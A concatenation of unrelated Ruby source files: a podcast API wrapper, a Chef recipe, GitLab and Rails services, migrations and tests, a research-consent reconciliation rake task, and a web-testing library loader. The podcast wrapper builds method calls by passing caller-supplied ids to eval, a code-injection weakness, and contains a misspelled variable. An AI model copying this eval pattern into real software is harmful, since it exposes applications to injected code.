require 'qingting/api/base' module Qingting module Api module Podcaster # extend self def self.included(base) base.send :extend, ClassMethods end # Class methods module ClassMethods def podcasters_guides url = eval("Base.v6_podcasters_guides") Base.request(url) end def podcasters_attributes url = eval("Base.v6_podcasters_attributes") Base.request(url) end def podcasters_type(type, page=1) url = Base.media_url + "podcasters/type/#{type}/page/#{page} " Base.request(url) end def podcasters_recommends url = eval("Base.v6_podcasters_recommends") Base.request(url) end def podcasters_attr(attr_ids, page=1) url = Base.media_url + "podcasters/attr/#{attrids}/page/#{page} " Base.request(url) end def podcaster(id) url = eval("Base.v6_podcasters_#{id}") Base.request(url) end def podcasters_channelondemands(qingting_id) url = eval("Base.v6_podcasters_#{qingting_id}_channelondemands") Base.request(url) end def podcasters_recent(qingting_id) url = eval("Base.v6_podcasters_#{qingting_id}_recent") Base.request(url) end def now url = eval("Base.v6_now") Base.request(url) end def topic(topic_id) url = eval("Base.v6_topic_#{topic_id}") Base.request(url) end def activity(activity_id) url = eval("Base.v6_activity_#{activity_id}") Base.request(url) end end end end end
23.418919
75
0.572995
39cfb63cbad5316593f60f1580e5b4603bf3fce3
773
# # Cookbook Name:: cookbook-openshift3 # Recipe:: adhoc_redeploy_certificates # # Copyright (c) 2015 The Authors, All Rights Reserved. server_info = OpenShiftHelper::NodeHelper.new(node) is_certificate_server = server_info.on_certificate_server? is_first_master = server_info.on_first_master? include_recipe 'cookbook-openshift3::services' if is_certificate_server include_recipe 'cookbook-openshift3::adhoc_redeploy_etcd_ca' if node['cookbook-openshift3']['adhoc_redeploy_etcd_ca'] include_recipe 'cookbook-openshift3::adhoc_redeploy_cluster_ca' if node['cookbook-openshift3']['adhoc_redeploy_cluster_ca'] end if is_first_master include_recipe 'cookbook-openshift3::adhoc_redeploy_cluster_hosted' if node['cookbook-openshift3']['adhoc_redeploy_cluster_ca'] end
36.809524
129
0.831824
6a7393a9921728a1dcc04e72a1c9c9bf5da915ee
3,988
module MergeRequests class BuildService < MergeRequests::BaseService def execute merge_request = MergeRequest.new(params) # Set MR attributes merge_request.can_be_created = true merge_request.compare_commits = [] merge_request.source_project = project unless merge_request.source_project merge_request.target_project = nil unless can?(current_user, :read_project, merge_request.target_project) merge_request.target_project ||= (project.forked_from_project || project) merge_request.target_branch ||= merge_request.target_project.default_branch messages = validate_branches(merge_request) return build_failed(merge_request, messages) unless messages.empty? compare = CompareService.new.execute( merge_request.source_project, merge_request.source_branch, merge_request.target_project, merge_request.target_branch, ) merge_request.compare_commits = compare.commits merge_request.compare = compare set_title_and_description(merge_request) end private def validate_branches(merge_request) messages = [] if merge_request.target_branch.blank? || merge_request.source_branch.blank? messages << if params[:source_branch] || params[:target_branch] "You must select source and target branch" end end if merge_request.source_project == merge_request.target_project && merge_request.target_branch == merge_request.source_branch messages << 'You must select different branches' end # See if source and target branches exist if merge_request.source_branch.present? && !merge_request.source_project.commit(merge_request.source_branch) messages << "Source branch \"#{merge_request.source_branch}\" does not exist" end if merge_request.target_branch.present? && !merge_request.target_project.commit(merge_request.target_branch) messages << "Target branch \"#{merge_request.target_branch}\" does not exist" end messages end # When your branch name starts with an iid followed by a dash this pattern will be # interpreted as the user wants to close that issue on this project. # # For example: # - Issue 112 exists, title: Emoji don't show up in commit title # - Source branch is: 112-fix-mep-mep # # Will lead to: # - Appending `Closes #112` to the description # - Setting the title as 'Resolves "Emoji don't show up in commit title"' if there is # more than one commit in the MR # def set_title_and_description(merge_request) if match = merge_request.source_branch.match(/\A(\d+)-/) iid = match[1] end commits = merge_request.compare_commits if commits && commits.count == 1 commit = commits.first merge_request.title = commit.title merge_request.description ||= commit.description.try(:strip) elsif iid && issue = merge_request.target_project.get_issue(iid, current_user) case issue when Issue merge_request.title = "Resolve \"#{issue.title}\"" when ExternalIssue merge_request.title = "Resolve #{issue.title}" end else merge_request.title = merge_request.source_branch.titleize.humanize end if iid closes_issue = "Closes ##{iid}" if merge_request.description.present? merge_request.description += closes_issue.prepend("\n\n") else merge_request.description = closes_issue end end merge_request.title = merge_request.wip_title if commits.empty? merge_request end def build_failed(merge_request, messages) messages.compact.each do |message| merge_request.errors.add(:base, message) end merge_request.compare_commits = [] merge_request.can_be_created = false merge_request end end end
33.233333
114
0.683801
18690cc2cf788b0fd79e44c53a241491270cd203
2,155
# frozen_string_literal: true class ETDIndexer < ObjectIndexer def thumbnail_path ActionController::Base.helpers.image_path( "fontawesome/black/png/256/file-text.png" ) end def generate_solr_document super.tap do |solr_doc| solr_doc[Solrizer.solr_name("member_ids", :symbol)] = object.member_ids rights_holders = object.rights_holder.map do |holder| (holder.respond_to?(:rdf_label) ? holder.rdf_label.first : holder) end.join(" and ") if rights_holders.present? solr_doc[Solrizer.solr_name("copyright", :displayable)] = "#{rights_holders}, #{object.date_copyrighted.first}" end solr_doc[Solrizer.solr_name("department", :facetable)] = department(solr_doc) solr_doc[Solrizer.solr_name("dissertation", :displayable)] = dissertation end end private def dissertation return if [object.dissertation_degree, object.dissertation_institution, object.dissertation_year,].any? { |f| f.first.blank? } object.dissertation_degree.first + "--" + object.dissertation_institution.first + ", " + object.dissertation_year.first end # Derive department by stripping "UC, SB" from the degree grantor field def department(solr_doc) Array(solr_doc["degree_grantor_tesim"]).map do |a| a.sub(/^University of California, Santa Barbara\. /, "") end end # Create a date field for sorting on def sortable_date if timespan? super else Array(sorted_key_date).first end end # Create a year field (integer, multiple) for faceting on def facetable_year if timespan? super else Array(sorted_key_date).flat_map { |d| DateUtil.extract_year(d) } end end def sorted_key_date return unless key_date if timespan? super else key_date.sort do |a, b| DateUtil.extract_year(a) <=> DateUtil.extract_year(b) end end end def timespan? Array(key_date).first.is_a?(TimeSpan) end end
25.05814
77
0.634803
ab72354edcf08866393e941b3326bb60d59bacbd
718
# frozen_string_literal: true require 'spec_helper' describe Banzai::Pipeline::PostProcessPipeline do context 'when a document only has upload links' do it 'does not make any Gitaly calls', :request_store do markdown = <<-MARKDOWN.strip_heredoc [Relative Upload Link](/uploads/e90decf88d8f96fe9e1389afc2e4a91f/test.jpg) ![Relative Upload Image](/uploads/e90decf88d8f96fe9e1389afc2e4a91f/test.jpg) MARKDOWN context = { project: create(:project, :public, :repository), ref: 'master' } Gitlab::GitalyClient.reset_counts described_class.call(markdown, context) expect(Gitlab::GitalyClient.get_request_count).to eq(0) end end end
26.592593
84
0.703343
1d97c6059ea72324581b1921963ebfc5663c180b
1,526
class SkillLevel MATRIX = { 1 => ['I understand and can explain the difference between data types (strings, booleans, integers)', 'I have heard of the MVC (Model View Controller) pattern', 'I am comfortable creating and deleting files from the command line'], 2 => ['I am confident writing a simple method', 'I am familiar with the concept of TDD and can explain what it stands for', 'I am able to write a counter that loops through numbers (e.g. from one to ten)'], 3 => ['I am comfortable solving a merge conflict in git.', 'I am confident with the vocabulary to use when looking up a solution to a computing problem.', 'I feel confident explaining the components of MVC (and their roles)', 'I understand what an HTTP status code is', 'I have written a unit test before'], 4 => ['I have written a script to automate a task before', 'I have already contributed original code to an Open Source project', 'I can explain the difference between public, protected and private methods', 'I am familiar with more than one testing tool'], 5 => ['I have heard of and used Procs in my code before', 'I feel confident doing test-driven development in my projects', 'I have gotten used to refactoring code'] } class << self def each(&block) MATRIX.each(&block) end def map(&block) MATRIX.map(&block) end end end
44.882353
107
0.636959
1c934e2b438aed25204599781776efd7010224e4
335
module Level4 def solve_level_4 @current_health = warrior.health @previous_health = @current_health unless @previous_health if warrior.feel.enemy? warrior.attack! else if need_rest?(@current_health, @previous_health) warrior.rest! else warrior.walk! end end @previous_health = @current_health end end
19.705882
60
0.737313
f8ac7e634e735c26ace54baefba95abd5a925959
140
require 'mxx_ru/cpp' MxxRu::Cpp::exe_target { required_prj 'so_5/prj_s.rb' target 'sample.so_5.convert_lib_s' cpp_source 'main.cpp' }
14
35
0.735714
eddb3d9bc3b319aec3db40806a00be924a2f5925
1,167
class CreateUserActivities < ActiveRecord::Migration # Set this constant to true if this migration requires downtime. DOWNTIME = true # When a migration requires downtime you **must** uncomment the following # constant and define a short and easy to understand explanation as to why the # migration requires downtime. DOWNTIME_REASON = 'Adding foreign key'.freeze # When using the methods "add_concurrent_index" or "add_column_with_default" # you must disable the use of transactions as these methods can not run in an # existing transaction. When using "add_concurrent_index" make sure that this # method is the _only_ method called in the migration, any other changes # should go in a separate migration. This ensures that upon failure _only_ the # index creation fails and can be retried or reverted easily. # # To disable transactions uncomment the following line and remove these # comments: # disable_ddl_transaction! def change create_table :user_activities do |t| t.belongs_to :user, index: { unique: true }, foreign_key: { on_delete: :cascade } t.datetime :last_activity_at, null: false end end end
41.678571
87
0.755784
f885a8cbc01a2b1f38bb30bf62835d5d6b5c558d
8,064
require "cases/helper" require 'models/default' require 'models/entrant' class DefaultTest < ActiveRecord::TestCase def test_nil_defaults_for_not_null_columns column_defaults = if current_adapter?(:MysqlAdapter) && (Mysql.client_version < 50051 || (50100..50122).include?(Mysql.client_version)) { 'id' => nil, 'name' => '', 'course_id' => nil } else { 'id' => nil, 'name' => nil, 'course_id' => nil } end column_defaults.each do |name, default| column = Entrant.columns_hash[name] assert !column.null, "#{name} column should be NOT NULL" assert_equal default, column.default, "#{name} column should be DEFAULT #{default.inspect}" end end if current_adapter?(:PostgreSQLAdapter, :OracleAdapter) def test_default_integers default = Default.new assert_instance_of Fixnum, default.positive_integer assert_equal 1, default.positive_integer assert_instance_of Fixnum, default.negative_integer assert_equal(-1, default.negative_integer) assert_instance_of BigDecimal, default.decimal_number assert_equal BigDecimal.new("2.78"), default.decimal_number end end if current_adapter?(:PostgreSQLAdapter) def test_multiline_default_text # older postgres versions represent the default with escapes ("\\012" for a newline) assert( "--- []\n\n" == Default.columns_hash['multiline_default'].default || "--- []\\012\\012" == Default.columns_hash['multiline_default'].default) end end end class DefaultStringsTest < ActiveRecord::TestCase class DefaultString < ActiveRecord::Base; end setup do @connection = ActiveRecord::Base.connection @connection.create_table :default_strings do |t| t.string :string_col, default: "Smith" t.string :string_col_with_quotes, default: "O'Connor" end DefaultString.reset_column_information end def test_default_strings assert_equal "Smith", DefaultString.new.string_col end def test_default_strings_containing_single_quotes assert_equal "O'Connor", DefaultString.new.string_col_with_quotes end teardown do @connection.drop_table :default_strings end end if current_adapter?(:MysqlAdapter, :Mysql2Adapter) class DefaultsTestWithoutTransactionalFixtures < ActiveRecord::TestCase # ActiveRecord::Base#create! (and #save and other related methods) will # open a new transaction. When in transactional fixtures mode, this will # cause Active Record to create a new savepoint. However, since MySQL doesn't # support DDL transactions, creating a table will result in any created # savepoints to be automatically released. This in turn causes the savepoint # release code in AbstractAdapter#transaction to fail. # # We don't want that to happen, so we disable transactional fixtures here. self.use_transactional_fixtures = false def using_strict(strict) connection = ActiveRecord::Base.remove_connection ActiveRecord::Base.establish_connection connection.merge(strict: strict) yield ensure ActiveRecord::Base.remove_connection ActiveRecord::Base.establish_connection connection end # MySQL cannot have defaults on text/blob columns. It reports the # default value as null. # # Despite this, in non-strict mode, MySQL will use an empty string # as the default value of the field, if no other value is # specified. # # Therefore, in non-strict mode, we want column.default to report # an empty string as its default, to be consistent with that. # # In strict mode, column.default should be nil. def test_mysql_text_not_null_defaults_non_strict using_strict(false) do with_text_blob_not_null_table do |klass| assert_equal '', klass.columns_hash['non_null_blob'].default assert_equal '', klass.columns_hash['non_null_text'].default assert_nil klass.columns_hash['null_blob'].default assert_nil klass.columns_hash['null_text'].default instance = klass.create! assert_equal '', instance.non_null_text assert_equal '', instance.non_null_blob assert_nil instance.null_text assert_nil instance.null_blob end end end def test_mysql_text_not_null_defaults_strict using_strict(true) do with_text_blob_not_null_table do |klass| assert_nil klass.columns_hash['non_null_blob'].default assert_nil klass.columns_hash['non_null_text'].default assert_nil klass.columns_hash['null_blob'].default assert_nil klass.columns_hash['null_text'].default assert_raises(ActiveRecord::StatementInvalid) { klass.create } end end end def with_text_blob_not_null_table klass = Class.new(ActiveRecord::Base) klass.table_name = 'test_mysql_text_not_null_defaults' klass.connection.create_table klass.table_name do |t| t.column :non_null_text, :text, :null => false t.column :non_null_blob, :blob, :null => false t.column :null_text, :text, :null => true t.column :null_blob, :blob, :null => true end yield klass ensure klass.connection.drop_table(klass.table_name) rescue nil end # MySQL uses an implicit default 0 rather than NULL unless in strict mode. # We use an implicit NULL so schema.rb is compatible with other databases. def test_mysql_integer_not_null_defaults klass = Class.new(ActiveRecord::Base) klass.table_name = 'test_integer_not_null_default_zero' klass.connection.create_table klass.table_name do |t| t.column :zero, :integer, :null => false, :default => 0 t.column :omit, :integer, :null => false end assert_equal 0, klass.columns_hash['zero'].default assert !klass.columns_hash['zero'].null # 0 in MySQL 4, nil in 5. assert [0, nil].include?(klass.columns_hash['omit'].default) assert !klass.columns_hash['omit'].null assert_raise(ActiveRecord::StatementInvalid) { klass.create! } assert_nothing_raised do instance = klass.create!(:omit => 1) assert_equal 0, instance.zero assert_equal 1, instance.omit end ensure klass.connection.drop_table(klass.table_name) rescue nil end end end if current_adapter?(:PostgreSQLAdapter) class DefaultsUsingMultipleSchemasAndDomainTest < ActiveSupport::TestCase def setup @connection = ActiveRecord::Base.connection @old_search_path = @connection.schema_search_path @connection.schema_search_path = "schema_1, pg_catalog" @connection.create_table "defaults" do |t| t.text "text_col", :default => "some value" t.string "string_col", :default => "some value" end Default.reset_column_information end def test_text_defaults_in_new_schema_when_overriding_domain assert_equal "some value", Default.new.text_col, "Default of text column was not correctly parse" end def test_string_defaults_in_new_schema_when_overriding_domain assert_equal "some value", Default.new.string_col, "Default of string column was not correctly parse" end def test_bpchar_defaults_in_new_schema_when_overriding_domain @connection.execute "ALTER TABLE defaults ADD bpchar_col bpchar DEFAULT 'some value'" Default.reset_column_information assert_equal "some value", Default.new.bpchar_col, "Default of bpchar column was not correctly parse" end def test_text_defaults_after_updating_column_default @connection.execute "ALTER TABLE defaults ALTER COLUMN text_col SET DEFAULT 'some text'::schema_1.text" assert_equal "some text", Default.new.text_col, "Default of text column was not correctly parse after updating default using '::text' since postgreSQL will add parens to the default in db" end teardown do @connection.schema_search_path = @old_search_path Default.reset_column_information end end end
37.506977
194
0.714038
b93120f73e4d29a383648b89952adbc7d712d256
110
json.set! :keep_alerts, false json.set! :flash, { notice: "Товар `#{ @product.title }` успешно обновлен" }
18.333333
56
0.663636
1de99027259871fccd29ac9330284c3e5ffd661e
235
module Interfaces class FtpSink < FtpSinkBase include FtpSession def put! session, local, remote session.put local, remote end def rename! session, from, to session.rename tmp, file end end end
16.785714
35
0.659574
18c7a8458e9949f9d35ef3ae67c1c04e444eb8ca
14,332
# consent date < 4/24/2018 # # OR # # consent date > 6/7/2018 require 'csv' namespace :ehr do desc "Validate consents" task(validate_consents: :environment) do |t, args| subject_template = { pmi_id: nil, ehr_consent_date: nil, status: nil } vibrent_subjects_file = CSV.new(File.open('lib/setup/data/new_illinois_query_24_June_no_filters_corrected.csv'), headers: true, col_sep: ",", return_headers: false, quote_char: "\"") vibrent_subjects = vibrent_subjects_file.map { |vibrent_subject| vibrent_subject.to_hash } vibrent_subjects_file = CSV.new(File.open('lib/setup/data/new_illinois_query_24_June_no_filters_corrected.csv'), headers: true, col_sep: ",", return_headers: false, quote_char: "\"") invalid_vibrent_subjects = vibrent_subjects_file.select { |vibrent_subject| vibrent_subject.to_hash['questionnaire_id'].strip == '126' } puts vibrent_subjects.size puts invalid_vibrent_subjects.size invalid_subjects= [] batch_health_pro = BatchHealthPro.last invalid_vibrent_subjects.each do |invalid_vibrent_subject| subject = subject_template.dup pmi_id = "P#{invalid_vibrent_subject.to_hash['participant_id']}" subject[:pmi_id] = pmi_id puts pmi_id health_pro = batch_health_pro.health_pros.where("pmi_id in (?)", pmi_id).first if health_pro.present? ehr_consent_date = Date.parse(health_pro.ehr_consent_date) subject[:ehr_consent_date] = ehr_consent_date puts ehr_consent_date if ehr_consent_date >= Date.parse('4/24/2018') && ehr_consent_date <= Date.parse('6/7/2018') puts "Invalid pmi_id #{pmi_id} is within the dark age." subject[:status] = 'Within the dark age' else puts "Invalid pmi_id #{pmi_id} has escaped the dark age." subject[:status] = 'Outside the dark age' end else subject[:ehr_consent_date] = nil subject[:status] = 'Disappeared.' end invalid_subjects << subject end headers = subject_template.keys row_header = CSV::Row.new(headers, headers, true) row_template = CSV::Row.new(headers, [], false) CSV.open('lib/setup/data_out/invalid_subjects.csv', "wb") do |csv| csv << row_header invalid_subjects.each do |subject| row = row_template.dup row[:pmi_id] = subject[:pmi_id] row[:ehr_consent_date] = subject[:ehr_consent_date] row[:status] = subject[:status] csv << row end end end desc 'Compare HelathPro to StudyTracker' task(compare_healthpro_to_study_tracker: :environment) do |t, args| subjects = [] subject_template = { source: nil, pmi_id: nil, biospecimens_location: nil, general_consent_status: nil, general_consent_date: nil, general_consent_status_st: nil, general_consent_date_st: nil, ehr_consent_status: nil, ehr_consent_date: nil, ehr_consent_status_st: nil, ehr_consent_date_st: nil, withdrawal_status: nil, withdrawal_date: nil, withdrawal_status_st: nil, withdrawal_date_st: nil, nmhc_mrn: nil, status: nil, participant_status: nil } st_subjects = CSV.new(File.open('lib/setup/data/STU00204480_subjects.csv'), headers: true, col_sep: ",", return_headers: false, quote_char: "\"") pmi_ids = st_subjects.map { |subject| subject.to_hash['case number'] } # batch_health_pro = BatchHealthPro.last health_pros = HealthPro.where(batch_health_pro_id: [142, 143]) health_pros.where("pmi_id in (?)", pmi_ids).each do |health_pro| # batch_health_pro.health_pros.where("pmi_id in (?)", pmi_ids).each do |health_pro| # batch_health_pro.health_pros.where("pmi_id in (?) AND biospecimens_location = ? AND general_consent_status = '1' AND general_consent_date IS NOT NULL AND ehr_consent_status = '1' AND ehr_consent_date IS NOT NULL AND withdrawal_status = '0' AND withdrawal_date IS NULL", 'nwfeinberggalter').each do |health_pro| study_tracker_activities = CSV.new(File.open('lib/setup/data/STU00204480_activities.csv'), headers: true, col_sep: ",", return_headers: false, quote_char: "\"") study_tracker_activities = study_tracker_activities.select { |study_tracker_activity| study_tracker_activity.to_hash['case number'] == health_pro.pmi_id } subject = subject_template.dup subject[:source] = 'HealthPro' subject[:pmi_id] = health_pro.pmi_id subject[:participant_status] = health_pro.participant_status subject[:biospecimens_location] = health_pro.biospecimens_location subject[:general_consent_status] = health_pro.general_consent_status subject[:general_consent_date] = Date.parse(health_pro.general_consent_date) study_tracker_activity_consented = study_tracker_activities.select { |study_tracker_activity| study_tracker_activity.to_hash['name'] == 'Consented' && study_tracker_activity.to_hash['date'].present? && study_tracker_activity.to_hash['state'] == 'completed' }.first if study_tracker_activity_consented subject[:nmhc_mrn] = study_tracker_activity_consented.to_hash['nmhc_record_number'] subject[:general_consent_status_st] = '1' subject[:general_consent_date_st] = Date.parse(study_tracker_activity_consented.to_hash['date']) else subject[:general_consent_status_st] = '0' end subject[:ehr_consent_status] = health_pro.ehr_consent_status subject[:ehr_consent_date] = Date.parse(health_pro.ehr_consent_date) if health_pro.ehr_consent_date study_tracker_activity_ehr_consent = study_tracker_activities.select { |study_tracker_activity| study_tracker_activity.to_hash['name'] == 'EHR Consent' && study_tracker_activity.to_hash['date'].present? && study_tracker_activity.to_hash['state'] == 'completed' }.first if study_tracker_activity_ehr_consent subject[:ehr_consent_status_st] = '1' subject[:ehr_consent_date_st] = Date.parse(study_tracker_activity_ehr_consent.to_hash['date']) else subject[:ehr_consent_status_st] = '0' end subject[:withdrawal_status] = health_pro.withdrawal_status subject[:withdrawal_date] = Date.parse(health_pro.withdrawal_date) if health_pro.withdrawal_date study_tracker_activity_withdrawal = study_tracker_activities.select { |study_tracker_activity| study_tracker_activity.to_hash['name'] == 'Withdrawn' && study_tracker_activity.to_hash['date'].present? && study_tracker_activity.to_hash['state'] == 'completed' }.first if study_tracker_activity_withdrawal subject[:withdrawal_status_st] = '1' subject[:withdrawal_date_st] = Date.parse(study_tracker_activity_withdrawal.to_hash['date']) if study_tracker_activity_withdrawal.to_hash['date'] else subject[:withdrawal_status_st] = '0' end if subject[:general_consent_status] == subject[:general_consent_status_st] && subject[:general_consent_date] == subject[:general_consent_date_st] && subject[:ehr_consent_status] == subject[:ehr_consent_status_st] && subject[:ehr_consent_date] == subject[:ehr_consent_date_st] && subject[:withdrawal_status] == subject[:withdrawal_status_st] && subject[:withdrawal_date] == subject[:withdrawal_date_st] subject[:status] = 'matches' else puts 'begin' puts subject[:general_consent_status] puts subject[:general_consent_status_st] puts subject[:general_consent_date] puts subject[:general_consent_date_st] puts subject[:ehr_consent_status] puts subject[:ehr_consent_status_st] puts subject[:ehr_consent_date] puts subject[:ehr_consent_date_st] puts subject[:withdrawal_status] puts subject[:withdrawal_status_st] puts subject[:withdrawal_date] puts subject[:withdrawal_date_st] puts 'end' if match_status(subject[:general_consent_status], subject[:general_consent_date], subject[:general_consent_status_st], subject[:general_consent_date_st]) && match_status(subject[:ehr_consent_status], subject[:ehr_consent_date], subject[:ehr_consent_status_st], subject[:ehr_consent_date_st]) && match_status(subject[:withdrawal_status], subject[:withdrawal_date],subject[:withdrawal_status_st], subject[:withdrawal_date_st]) subject[:status] = 'matches' else subject[:status] = 'mismatches' end end subjects << subject end study_tracker_activities = CSV.new(File.open('lib/setup/data/STU00204480_activities.csv'), headers: true, col_sep: ",", return_headers: false, quote_char: "\"") study_tracker_activities = study_tracker_activities.reject { |study_tracker_activity| subjects.detect { |subject| subject[:pmi_id] == study_tracker_activity.to_hash['case number'] } } case_numbers = study_tracker_activities.map { |study_tracker_activity| study_tracker_activity.to_hash['case number'] }.uniq case_numbers.each do |case_number| case_number_study_tracker_activities = study_tracker_activities.select { |study_tracker_activity| study_tracker_activity.to_hash['case number'] == case_number } health_pro = health_pros.where(pmi_id: case_number).first subject = subject_template.dup subject[:source] = 'StudyTracker' subject[:pmi_id] = case_number subject[:participant_status] = health_pro.participant_status if health_pro subject[:biospecimens_location] = health_pro.biospecimens_location if health_pro subject[:general_consent_status] = health_pro.general_consent_status if health_pro subject[:general_consent_date] = Date.parse(health_pro.general_consent_date) if health_pro && health_pro.general_consent_date study_tracker_activity_consented = case_number_study_tracker_activities.select { |study_tracker_activity| study_tracker_activity.to_hash['name'] == 'Consented' && study_tracker_activity.to_hash['date'].present? && study_tracker_activity.to_hash['state'] == 'completed' }.first if study_tracker_activity_consented subject[:nmhc_mrn] = study_tracker_activity_consented.to_hash['nmhc_record_number'] subject[:general_consent_status_st] = '1' subject[:general_consent_date_st] = Date.parse(study_tracker_activity_consented.to_hash['date']) if study_tracker_activity_consented.to_hash['date'] else subject[:general_consent_status_st] = '0' end subject[:ehr_consent_status] = health_pro.ehr_consent_status if health_pro subject[:ehr_consent_date] = Date.parse(health_pro.ehr_consent_date) if health_pro && health_pro.ehr_consent_date study_tracker_activity_ehr_consent = case_number_study_tracker_activities.select { |study_tracker_activity| study_tracker_activity.to_hash['name'] == 'EHR Consent' && study_tracker_activity.to_hash['date'].present? && study_tracker_activity.to_hash['state'] == 'completed' }.first if study_tracker_activity_ehr_consent subject[:ehr_consent_status_st] = '1' subject[:ehr_consent_date_st] = Date.parse(study_tracker_activity_ehr_consent.to_hash['date']) if study_tracker_activity_ehr_consent.to_hash['date'] else subject[:ehr_consent_status_st] = '0' end subject[:withdrawal_status] = health_pro.withdrawal_status if health_pro subject[:withdrawal_date] = Date.parse(health_pro.withdrawal_date) if health_pro && health_pro.withdrawal_date study_tracker_activity_withdrawal = case_number_study_tracker_activities.select { |study_tracker_activity| study_tracker_activity.to_hash['name'] == 'Withdrawn' && study_tracker_activity.to_hash['date'].present? && study_tracker_activity.to_hash['state'] == 'completed' }.first if study_tracker_activity_withdrawal subject[:withdrawal_status_st] = '1' subject[:withdrawal_date_st] = Date.parse(study_tracker_activity_withdrawal.to_hash['date']) if study_tracker_activity_withdrawal.to_hash['date'] else subject[:withdrawal_status_st] = '0' end if match_status(subject[:general_consent_status], subject[:general_consent_date], subject[:general_consent_status_st], subject[:general_consent_date_st]) && match_status(subject[:ehr_consent_status], subject[:ehr_consent_date], subject[:ehr_consent_status_st], subject[:ehr_consent_date_st]) && match_status(subject[:withdrawal_status], subject[:withdrawal_date] , subject[:withdrawal_status_st], subject[:withdrawal_date_st]) subject[:status] = 'matches' else subject[:status] = 'mismatches' end subjects << subject end headers = subject_template.keys row_header = CSV::Row.new(headers, headers, true) row_template = CSV::Row.new(headers, [], false) CSV.open('lib/setup/data_out/subjects.csv', "wb") do |csv| csv << row_header subjects.each do |subject| row = row_template.dup row[:source] = subject[:source] row[:pmi_id] = subject[:pmi_id] row[:status] = subject[:status] row[:participant_status] = subject[:participant_status] row[:nmhc_mrn] = subject[:nmhc_mrn] row[:biospecimens_location] = subject[:biospecimens_location] row[:general_consent_status] = subject[:general_consent_status] row[:general_consent_date] = subject[:general_consent_date] row[:general_consent_status_st] = subject[:general_consent_status_st] row[:general_consent_date_st] = subject[:general_consent_date_st] row[:ehr_consent_status] = subject[:ehr_consent_status] row[:ehr_consent_date] = subject[:ehr_consent_date] row[:ehr_consent_status_st] = subject[:ehr_consent_status_st] row[:ehr_consent_date_st] = subject[:ehr_consent_date_st] row[:withdrawal_status] = subject[:withdrawal_status] row[:withdrawal_date] = subject[:withdrawal_date] row[:withdrawal_status_st] = subject[:withdrawal_status_st] row[:withdrawal_date_st] = subject[:withdrawal_date_st] csv << row end end end end def match_status(status, date, status_st, date_st) match = false if status == status_st && status == '1' && date == date_st match = true elsif status == status_st && status == '1' && date != date_st match = false elsif status == status_st && status == '0' match = true end match end
55.984375
451
0.727114
6187cd04b25965ac1ba36077fba3aba88f522fb0
46
module InformantRails VERSION = '1.1.0' end
11.5
21
0.717391
bf3c0f3d923d680698bacf35ceca368cc40d468e
255
module SlideCaptchaHelper def slide_captcha_tags session = SlideCaptchaCode.random.create_session render :partial => 'slide_captcha/tags', :locals => {:id => session.id} end def slide_captcha_styles stylesheet_link_tag('slide_captcha') end end
25.5
73
0.780392
f838fb7211394d493b7ff5359d280fa1870306b9
34
10.downto(0) do |i| puts i end
8.5
19
0.588235
bfb032fa0777edd372422d3d392d9c2bc94bd38d
1,197
=begin #Accounting API #No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) The version of the OpenAPI document: 2.0.0 Contact: [email protected] Generated by: https://openapi-generator.tech OpenAPI Generator version: 4.0.3 =end require 'spec_helper' require 'json' require 'date' # Unit tests for XeroRuby::CISSetting # Automatically generated by openapi-generator (https://openapi-generator.tech) # Please update as you see appropriate describe 'CISSetting' do before do # run before each test @instance = XeroRuby::CISSetting.new end after do # run after each test end describe 'test an instance of CISSetting' do it 'should create an instance of CISSetting' do expect(@instance).to be_instance_of(XeroRuby::CISSetting) end end describe 'test attribute "cis_enabled"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end describe 'test attribute "rate"' do it 'should work' do # assertion here. ref: https://www.relishapp.com/rspec/rspec-expectations/docs/built-in-matchers end end end
24.9375
107
0.7335
87103448f38633000c1dff7e0eacdba107a25a47
4,173
#*********************************************************** #* Copyright (c) 2006 - 2012, Zhimin Zhan. #* Distributed open-source, see full license in MIT-LICENSE #*********************************************************** require "rubygems" gem "activesupport" #, "~> 3.2.17" require 'active_support' require 'active_support/deprecation' # Using own assert # # if user want to use testing library such as MiniTest, add require in your own helper and tests # # gem "minitest" #, "~> 4.0" # ver 5 return errors # require 'minitest/autorun' # Load active_support, so that we can use 1.days.ago begin require 'active_support/core_ext' require 'active_support/time' rescue LoadError => no_as1_err puts "failed to load activesupport #{no_as1_err}" end require 'rspec' =begin # From RWebSpec 6 fully supports RSpec 3 # # For non-rwebspec project, need to add to the help to avoid deprecation warning if ::RSpec::Version::STRING && ::RSpec::Version::STRING =~ /^3/ RSpec.configure do |config| config.expect_with :rspec do |c| c.syntax = :should end end end =end unless defined? RWEBSPEC_VERSION RWEBSPEC_VERSION = RWEBUNIT_VERSION = "6.0.2" end $testwise_polling_interval = 1 # seconds $testwise_polling_timeout = 30 # seconds if RUBY_PLATFORM =~ /mingw/ $screenshot_supported = false begin require 'win32/screenshot' $screenshot_supported = true rescue LoadError => no_screen_library_error end end begin require 'selenium-webdriver' rescue LoadError => e $selenium_loaded = false end module RWebSpec class << self def version RWEBSPEC_VERSION end def framework @_framework ||= begin ENV["RWEBSPEC_FRAMEWORK"] # ||= (RUBY_PLATFORM =~ /mingw/ ? "Watir" : "Selenium-WebDriver") end @_framework end def framework=(framework) old_framework = @_framework @_framework = ActiveSupport::StringInquirer.new(framework) if (old_framework != @_framework) then puts "[INFO] Switching framework to #{@_framework}" load_framework end end def load_watir # puts "Loading Watir" require 'watir' if RUBY_PLATFORM =~ /mingw/i require 'watir-classic' end load(File.dirname(__FILE__) + "/rwebspec-watir/web_browser.rb") load(File.dirname(__FILE__) + "/rwebspec-watir/driver.rb") require File.dirname(__FILE__) + "/extensions/watir_extensions" require File.dirname(__FILE__) + "/extensions/window_script_extensions" end def load_selenium require 'selenium-webdriver' # puts "Loading Selenium" load(File.dirname(__FILE__) + "/rwebspec-webdriver/web_browser.rb") load(File.dirname(__FILE__) + "/rwebspec-webdriver/driver.rb") require File.dirname(__FILE__) + "/extensions/webdriver_extensions" end def load_framework if @_framework.nil? framework end if RWebSpec.framework =~ /watir/i load_watir return end if RWebSpec.framework =~ /selenium/i load_selenium return end puts "[WARN] not framework loaded yet" end end end require File.dirname(__FILE__) + "/plugins/testwise_plugin.rb" # Changed in v4.3, the framework is loaded when initliating or reuse browser #RWebSpec.load_framework # Extra full path to load libraries require File.dirname(__FILE__) + "/rwebspec-common/using_pages" require File.dirname(__FILE__) + "/rwebspec-common/core" require File.dirname(__FILE__) + "/rwebspec-common/web_page" require File.dirname(__FILE__) + "/rwebspec-common/assert" require File.dirname(__FILE__) + "/rwebspec-common/context" require File.dirname(__FILE__) + 